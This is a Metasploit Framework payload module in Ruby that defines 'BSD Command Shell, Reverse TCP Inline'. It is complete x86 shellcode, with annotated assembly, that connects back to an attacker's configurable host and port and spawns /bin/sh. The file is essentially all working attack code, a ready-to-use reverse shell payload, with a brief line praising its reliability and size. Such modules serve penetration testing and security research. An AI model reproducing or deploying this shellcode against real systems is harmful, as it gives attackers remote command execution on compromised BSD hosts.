These payloads were carefully designed and implemented for maximum reliability and improved size.
# $Id$
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
module Msf
module Payloads
module Singles
module Bsd
module X86
module ShellReverseTcp
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD Command Shell, Reverse TCP Inline',
'Version' => '$Revision$',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'Ramon de Carvalho Valle <ramon@risesecurity.org>',
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 1, 'ADDR' ],
'LPORT' => [ 8, 'n' ],
},
'Payload' =>
"\x68\x7f\x00\x00\x01" +# pushl $0x0100007f #
"\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff #
"\x89\xe7" +# movl %esp,%edi #
"\x31\xc0" +# xorl %eax,%eax #
"\x50" +# pushl %eax #
"\x6a\x01" +# pushl $0x01 #
"\x6a\x02" +# pushl $0x02 #
"\x6a\x10" +# pushl $0x10 #
"\xb0\x61" +# movb $0x61,%al #
"\xcd\x80" +# int $0x80 #
"\x57" +# pushl %edi #
"\x50" +# pushl %eax #
"\x50" +# pushl %eax #
"\x6a\x62" +# pushl $0x62 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 #
"\x50" +# pushl %eax #
"\x6a\x5a" +# pushl $0x5a #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 #
"\xff\x4f\xe8" +# decl -0x18(%edi) #
"\x79\xf6" +# jns <cntsockcode+34> #
"\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f #
"\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f #
"\x89\xe3" +# movl %esp,%ebx #
"\x50" +# pushl %eax #
"\x54" +# pushl %esp #
"\x53" +# pushl %ebx #
"\x50" +# pushl %eax #
"\xb0\x3b" +# movb $0x3b,%al #
"\xcd\x80" # int $0x80 #
}
))
end
end
end end end end end
